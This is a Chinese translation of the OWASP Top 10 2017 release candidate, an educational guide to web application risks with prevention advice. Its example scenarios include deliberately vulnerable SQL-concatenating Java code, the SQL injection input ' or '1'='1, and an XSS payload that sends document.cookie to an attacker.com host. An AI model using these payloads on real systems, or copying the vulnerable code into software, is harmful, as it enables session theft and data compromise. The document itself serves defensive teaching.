该版本的OWASP Top 10标志着该项目第十四年提高应用安全风险重要性的意识。该版本遵循2013年更新，2013版的Top 10主要变化是添加了2013-A9使用含有已知漏洞的组件。我们很高兴看到，自2013版Top 10以来，随着自由和商业工具的整体生态系统出现，帮助解决这个问题，因为开源组件的使用几乎在每种编程语言中都在继续迅速扩大。数据还表明，使用已知的易受攻击的组件仍然很普遍，但并不像以前那么普遍。我们认为，针对这个问题的关注意识在2013版Top 10出现后已经导致了这两个变化。

我们也注意到，自从CSRF被引入2007版的Top 10项目以来，它已经从广泛的脆弱性下降到不常见的脆弱性。许多框架包括自动的CSRF防御，这大大促进了普遍性的下降，以及开发人员对于防范这种攻击的意识提高。

关于这个OWASP Top 10 – 2017候选发布版的建设性意见可以通过电子邮件到[email protected]。私人评论可以发送到[email protected]。欢迎发送匿名反馈。所有非私人反馈将在最终公开发布的同时进行编目和发布。我们建议您对Top 10列出的项目进行更改的评论应包括Top 10个项目的完整列表，以及更改的理由，所有反馈都应显示具体的相关页面和部分。

在OWASP Top 10 - 2017年最终出版之后，OWASP社区的协作工作将持续更新支持文档，包括OWASP Wiki，OWASP Develop’s Guide，OWASP Test Guide，OWASP Code Review Guide和OWASP Prevention Cheat Sheets，以及将Top 10翻译成许多不同的语言。

您的反馈对于OWASP  Top 10项目和所有其他OWASP项目的持续成功至关重要。感谢大家竭尽全力提高全世界的软件的安全性。

Jeff Williams, OWASP Top 10项目创始者和共同作者

Dave Wichers, OWASP Top 10共同作者和项目负责人

Top 10项目的目标是通过找出企业组织所面临的最严重的风险来提高人们对应用程序安全的关注度。Top 10项目被众多标准、书籍、工具和相关组织引用，包括 MITRE、PCI DSS、DISA、 FTC等等。OWASP Top 10最初于2003 年发布，并于2004年和2007年相继做了少许的修改更新。2010版做了修改以对风险进行排序，而不仅仅对于流行程度。这种模式在2013版和最新的2017版得到了延续。

我们鼓励各位通过使用此Top 10帮助您的企业组织了 解应用程序安全。开发人员可以从其他企业组织的错误 中学习到经验。而执行人员需要开始思考如何管理软件 应用程序在企业内部产生的风险。

从长远来看，我们鼓励您创建一个与您的文化和技 术都兼容的应用安全计划。这些计划可以是任意形式和 大小的，您还应该试图避免做过程模型中规定的每件事。 相反，利用您组织的现有优势并衡量什么对您有用。

我们希望OWASP Top 10能有助于您的应用程序安 全。如果有任何疑问、评论以及想法，请不要犹豫，立即通过公开的[email protected]或者私人 的[email protected]，与我们取得联系。

• 应用安全工具和标准

• 关于应用安全测试、安全代码开发和安全代码审查方面的全面书籍

• 标准的安全控制和安全库

• 全球各地分会

• 尖端研究

• 专业的全球会议

• 邮件列表

更多信息，请访问：http://www.owasp.org

所有的OWASP工具、文档、论坛和全球各地分会都是免费的，并对所有致力于改进应用程序安全的人士开放。我们主张将应用程序安全问题看作是人、过程和技术的问题，因为提供应用程序安全最有效的方法是在这些方面提升。

OWASP是一个新型组织。没有商业压力使得我们能够提供无偏见、实用、低成本的应用安全方面的信息。尽管OWASP支持合理使用商业的安全技术，但是OWASP不隶属于任何技术公司。和许多开源软件项目一样，OWASP以一种协作、开放的方式制作了许多不同种类的材料。

OWASP基金会是确保项目长期成功的非营利性组织。几乎每一个与OWASP相关的人都是一名志愿者，这包括了OWASP董事会、全球委员会、全球各地分会会长、项目领导和项目成员。我们用捐款和基础设备来支持创新的安全研究。

我们期待您的加入。

本文档的发布基于Creative Commons Attribution ShareAlike 3.0 license。

任何重复使用或发行，都必须向他人澄清该文档的许可条款。

2017年版的OWASP Top 10文档基于来自专业的应用安全公司的11个大型数据库，其中包括：8家咨询公司，3家产品提供商。数据涵盖了来自上百家组织上千个应 用，超过50,000个真实环境中的漏洞和APIs。Top 10根据所有这些相关数据挑选和排序，并与可利用性、可检测性和影响程度的一致评估相结合。

OWASP Top 10的主要目的是教育开发人员，设计师，架构师，经理和组织，了解最重要的Web应用程序安全漏洞的后果。Top 10提供了防范这些高风险问题领域的基本技术，并为您提供了从这里走到哪里的指导。

不断修改：此Top 10将不断更新。即使您不改变应用程序的任何一行代码，您的应用程序可能已经存在从来没有被人发现过的漏洞。要了解更多信息，请查看Top 10结尾的建议部分，“开发人员、测试人员和企业组织下一步做什么”。

正面思考：当您已经做好准备停止查找漏洞并集中

精力建立强大的应用程序安全控制时，OWASP已经制作了《应用程序安全验证标准（ASVS）》指导企业组织和应用程序审查者如何去进行验证。

明智使用工具：安全漏洞可能很复杂并且藏匿在代码行的深处。查找并消除这些漏洞的最根本有效的方法就是利用专家的经验以及好的工具。

其他：在您的组织中，重点关注让安全成为组织文化的一部分。更多信息，请参见《开放软件保证成熟度模型（SAMM）》和《Rugged Handbook》。

• Aspect Security  • AsTech Consulting

• Branding Brand  • Contrast Security,

• EdgeScan           • iBLISS

• Minded Security • Paladion Networks,

• Softtek                •Vantage Point

• Veracode

第一次我们将向Top 10项目提供的所有数据公开，并且公开了完整的贡献者名单。

我们还要感谢为Top 10本版本做出显著内容贡献和花时间审阅的专家们：

• Neil Smithline – 提供了Top 10的Wiki版，并提供了宝贵反馈意见。

最后，我们感谢所有的翻译人员将Top 10翻译成不同的语言，帮助让OWASP Top 10对全世界的人们都可以更容易获得信息。

1) 我们合并了2013-A4“不安全的直接对象引用”和2013-A7“功能级访问控制功能缺失”到2017-A4“无效的访问控制”。

o  2007年，我们将失效的访问控制分为两类，以便更多地关注访问控制问题（数据和功能）的每一方面。我们不再觉得这是必要的，所以我们将它

们合并在一起。

2) 我们增加了2017-A7：攻击检测与防范不足

+  多年来，我们考虑增加对自动攻击的防御力不足。基于数据调用，我们看到大多数应用程序和API缺乏检测与防范和响应手动或者自动化攻击的基本功能应用程序和APIs所有者还需要能够快速部署补丁以保护和防止攻击。

3) 我们增加了2017-A10: 未受保护的API

+  现代应用程序和API通常涉及丰富的客户端应用程序，例如浏览器中的JavaScript和移动端应用程序，连接到某种API（SOAP / XML，REST /JSON，RPC，GWT等）。这些API通常是不受保护的，并且包含许多漏洞。我们将其包括在这里，以帮助组织专注于这一主要的新兴风险。

4) 我们去掉了2013-A10:未验证的重定向和转发

–  2010年，我们增加了这一类别，以提高对这个问题的认识。然而，数据显示，这个问题并不像预期那么普遍。所以在进入top 10的最后两个版本之后，这一次并没有削减。

注意：T10围绕主要风险区域进行整理，而不是密封，不重叠或严格的分类。其中一些是围绕着攻击者整理的，一些是脆弱性，一些是防御，一些是资产。组织应考虑制定措施，以消除这些问题。

每种路径方法都代表了一种风险， 这些风险可能会，也有可能不会严重到值得您关注。

Top 10中风险的名称，有的来自于攻击的类型，有的来自于漏洞，而有的来自于所造成的影响。我们选择了最能准确反应出风险名称，并在可能的情况下，同时使用最为常用的专业名词来得到最高的关注度。

• OWASP Risk Rating Methodology

• Article on Threat/Risk Modeling

其他资料

• FAIR Information Risk Framework

• Microsoft Threat Modeling Tool

检查应用程序是否安全使用解释器的最快最有效的方法 是代码审查。代码分析工具能帮助安全分析者找到使用解 释器的代码并追踪应用的数据流。渗透测试者通过创建攻 击的方法来确认这些漏洞。

可以执行应用程序的自动动态扫描器能够提供一些信息， 帮助确认一些可利用的注入漏洞是否存在。然而，扫描器 并非总能达到解释器，所以不容易检测到一个攻击是否成 功。不恰当的错误处理使得注入漏洞更容易被发现。

1.最佳选择是使用安全的API，完全避免使用解释器或提 供参数化界面的API。但要注意有些参数化的API，比 如存储过程（stored procedures），如果使用不当，仍然可以引入注入漏洞。

2.如果没法使用一个参数化的API，那么你应该使用解释器具体的escape语法来避免特殊字符。OWASP的ESAPI 就有一些escape例程。

3.使用正面的或“白名单”的具有恰当的规范化的输入验证方法同样会有助于防止注入攻击。但由于很多应用在输入中需要特殊字符，这一方法不是完整的防护方法。 OWASP的ESAPI中包含一个白名单输入验证例程的扩展库。

String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";

案例 #2: ：同样的，框架应用的盲目信任，仍然可能导致查 询语句的漏洞。（例如：Hibernate查询语言（HQL））：

Query HQLQuery = session.createQuery("FROM accounts

WHERE custID='" + request.getParameter("id") + "'");

在这两个案例中，攻击者在浏览器中将“id”参数的值修改 成 ’ or’1’=’1。如：

http://example.com/app/accountView?id=' or '1'='1

这样查询语句的意义就变成了从accounts表中返回所有的 记录。更危险的攻击可能导致数据被篡改甚至是存储过程 被调用。

• OWASP SQL Injection Prevention Cheat Sheet

• OWASP Query Parameterization Cheat Sheet

• OWASP Command Injection Article

• OWASP XXE Prevention Cheat Sheet

• OWASP Testing Guide: Chapter on SQL Injection Testing

其他资料

• CWE Entry 77 on Command Injection

• CWE Entry 89 on SQL Injection

• CWE Entry 564 on Hibernate Injection

• CWE Entry 611 on Improper Restriction of XXE

• CWE Entry 917 on Expression Language Injection

1.用户身份验证凭证没有使用哈希或加密保护。 详见A6。

2.认证凭证可猜测，或者能够通过薄弱的的帐户管理功能（例如账户创建、密码修改、密码恢复, 弱会话ID）重写。

3.会话ID暴露在URL里（例如, URL重写）。

4.会话ID容易受到会话固定（session fixation） 的攻击。

5.会话ID没有超时限制，或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效。

6.成功注册后,会话ID没有轮转。

7.密码、会话ID和其他认证凭据使用未加密连接传输。详见A6。

更多详情请见ASVS要求部分V2和V3 。

1.一套单一的强大的认证和会话管理控制系统。这套控 制系统应:

a) 满足OWASP的应用程序安全验证标准（ASVS） 中V2（认证）和V3（会话管理）中制定的所 有认证和会话管 理的要求。

b) 具有简单的开发界面ESAPI认证器和用户 API  是可以仿照、使用或扩展的好范例。

2. 企业同样也要做出巨大努力来避免跨站漏洞，因为这 一漏洞可以用来盗窃用户会话ID。详见A3。

http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

该网站一个经过认证的用户希望让他朋友知道这个机票打 折信息。他将上面链接通过邮件发给他朋友们，并不知道 自己已经泄漏了自己的会话ID。 当他的朋友们使用上面的 链接时，他们将会使用他的会话和信用卡。

案例#2：应用程序超时设置不当。 用户使用公共计算机 访问网站。离开时，该用户没有点击退出，而是直接关闭 浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。

案例#3：内部或外部攻击者进入系统的密码数据库. 存储 在数据库中的用户密码没有被加密, 所有用户的密码都被 攻击者获得。

完整的参考资料，见 ASVS requirements areas for Authentication (V2) and Session Management (V3).

• OWASP Authentication Cheat Sheet

• OWASP Forgot Password Cheat Sheet

• OWASP Password Storage Cheat Sheet

• OWASP Session Management Cheat Sheet

• OWASP Testing Guide: Chapter on Authentication

其他

• CWE Entry 287 on Improper Authentication

• CWE Entry 384 on Session Fixation

自动化工具能够自动找到一些跨站脚本漏洞。然而，每一个应用程序使用不同的方式生成输出页面，并且使用不同 的浏览器端解释器，例如JavaScript, ActiveX, Flash,和 Silverlight，这使得自动检测变得很困难。因此，要想达到 全面覆盖，必须使用一种结合的方式，在自动检测的基础 上，同时采用人工代码审核和手动渗透测试。

类似AJAX的web2.0技术使得跨站脚本漏洞更难通过自动工具检测到。

1.为了避免 Server XSS,最好的办法是根据数据将要置于的HTML上下文（包括 主体、属性、JavaScript、CSS或URL）对所有的不可信 数据进行恰当的转（escape）。更多关于数据转义技术的信息见OWASP DOM XSS Prevention Cheat Sheet。

2.为了避免Client XSS,首选方案是避免将不受信任的数据传递给可生成活动内容JavaScript和其他浏览器API。 当无法避免这种情况时，类似的敏感转义技术可以应用于浏览器API，如基于OWASP DOM based XSS Prevention Cheat Sheet 。

3.更多内容请参考OWASP 的 AntiSamy 或者 Java HTML Sanitizer项目。

4.考虑使用内容安全策略（CSP）来抵御整个网站的跨 站脚本攻击。

（String） page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter（"CC"）+ "'>";

攻击者在浏览器中修改“CC” 参数为如下值：

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

这导致受害者的会话ID被发送到攻击者的网站，使得攻击 者能够劫持用户当前会话。

请注意攻击者同样能使用跨站脚本攻破应用程序可能使 用的任何跨站请求伪造（CSRF）防御机制。CSRF的详细情 况见A8

• OWASP Types of Cross-Site Scripting

• OWASP XSS Prevention Cheat Sheet

• OWASP DOM based XSS Prevention Cheat Sheet

• OWASP Java Encoder API

• ASVS: Output Encoding/Escaping Requirements (V6)

• OWASP AntiSamy: Sanitization Library

• Testing Guide: 1st 3 Chapters on Data Validation Testing

• OWASP Code Review Guide: Chapter on XSS Review

• OWASP XSS Filter Evasion Cheat Sheet

其他资料

• CWE Entry 79 on Cross-Site Scripting

1.对于数据引用，应用程序是否通过使用映射表或访问控制检查确保用户获得授权，以确保用户对该数据进行授权

2.对于非公共功能请求，应用程序是否确保用户进行了身份验证，并具有使用该功能所需的角色或权限？

应用程序的代码审查可以验证这些控件是否正确实施，并且在任何地方都需要进行审计。 手动测试对于识别访问控制缺陷也是有效的。 自动化工具通常不会找到这样的缺陷，因为他们无法识别需要什么保护或什么是安全的或不安全的。

1.检查访问。任何来自不可信源的直接对象引用都必须 通过访问控制检测，确保该用户对请求的对象有访问 权限。

2.使用基于用户或者会话的间接对象引用。这样能防止 攻击者直接攻击未授权资源。例如，一个下拉列表包 含6个授权给当前用户的资源，它可以使用数字1-6来 指示哪个是用户选择的值，而不是使用资源的数据库 关键字来表示。在服务器端，应用程序需要将每个用 户的间接引用映射到实际的数据库关键字。OWASP的 ESAPI包含了两种序列和随机访问引用映射，开发人员 可以用来消除直接对象引用。

3.自动验证 。利用自动化来验证正确的授权部署。 这要成为习惯。

pstmt.setString(1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery();

攻击者能轻易在浏览器将 “acct” 参数修改成他所想要的 任何账户号码。如果应用程序没有进行恰当的验证，攻击 者就能访问任何用户的账户，而不仅仅是该目标用户的账 户。

http://example.com/app/accountInfo?acct=notmyacct

案例 #2:攻击者只是简单的强制浏览目标URL。 还需要管理员权限才能访问的管理页面。

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

如果未经身份验证的用户可以访问任何一个页面，这是一个缺陷。 如果非管理员可以访问管理页面，这也是一个缺陷。

• OWASP Top 10-2007 on Insecure Direct Object References

• OWASP Top 10-2007 on Function Level Access Control

• ESAPI Access Reference Map API

• ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )

For additional access control requirements, see the ASVS requirements area for Access Control (V4).

其他资料

• CWE Entry 285 on Improper Access Control (Authorization)

• CWE Entry 639 on Insecure Direct Object References

• CWE Entry 22 on Path Traversal (一个直接对象引用攻击的例子)

1.是否有软件没有被及时更新？这包括操作系统、Web/ 应用服务器、数据库管理系统、应用程序和其它所有 的代码库文件（详见2017-A9）。

2.是否使用或安装了不必要的功能（例如，端口、服务、 网页、帐户、权限）?

3.默认帐户的密码是否仍然可用或没有更改？

4.你的错误处理设置是否防止堆栈跟踪和其他含有大量 信息的错误消息被泄露?

5.你的开发框架（比如：Struts、Spring、ASP.NET）和库 文件中的安全设置是否理解正确并配置恰当？

缺少一个协定的、可重复的应用程序安全配置的过程，系 统将处于高风险中。

1.一个可以快速且易于部署在另一个锁定环境的可重复 的加固过程。开发、质量保证和生产环境都应该配置 相同（每个环境中使用不同的密码）。这个过程应该 是自动化的，以尽量减少安装一个新安全环境的耗费.

2. 一个能及时了解并部署每个已部署环境的所有最新软 件更新和补丁的过程。这需要包括通常被忽略的所有 代码的库文件（详见2017-A9 ）。

3.一个能在组件之间提供有效的分离和安全性的强大应 用程序架构。

4.一个自动化过程来验证在所有环境中配置和设置是否正确。

案例 #2:目录列表在你的服务器上未被禁用。攻击者发 现只需列出目录，她就可以找到你服务器上的任意文件。 攻击者找到并下载所有已编译的Java类，她通过反编译获 得了所有你的自定义代码。然后，她在你的应用程序中找 到一个访问控制的严重漏洞。

案例 #3:应用服务器配置允许堆栈跟踪返回给用户，这 样就暴露了潜在的漏洞，例如已知易受攻击的框架版本。

案例 #4:应用服务器自带的示例应用程序没有从您的生 产服务器中删除。该示例应用有已知安全漏洞，攻击者可 以利用这些漏洞破坏您的服务器。

• OWASP Development Guide: Chapter on Configuration

• OWASP Code Review Guide: Chapter on Error Handling

• OWASP Testing Guide: Configuration Management

• OWASP Testing Guide: Testing for Error Codes

• OWASP Top 10 2004 - Insecure Configuration Management

为了更详尽的了解该领域的需求信息，请参见 ASVS requirements areas for Security Configuration (V11 and V19).

其他资料

• NIST Guide to General Server Hardening

• CWE Entry 2 on Environmental Security Flaws

• CIS Security Configuration Guides/Benchmarks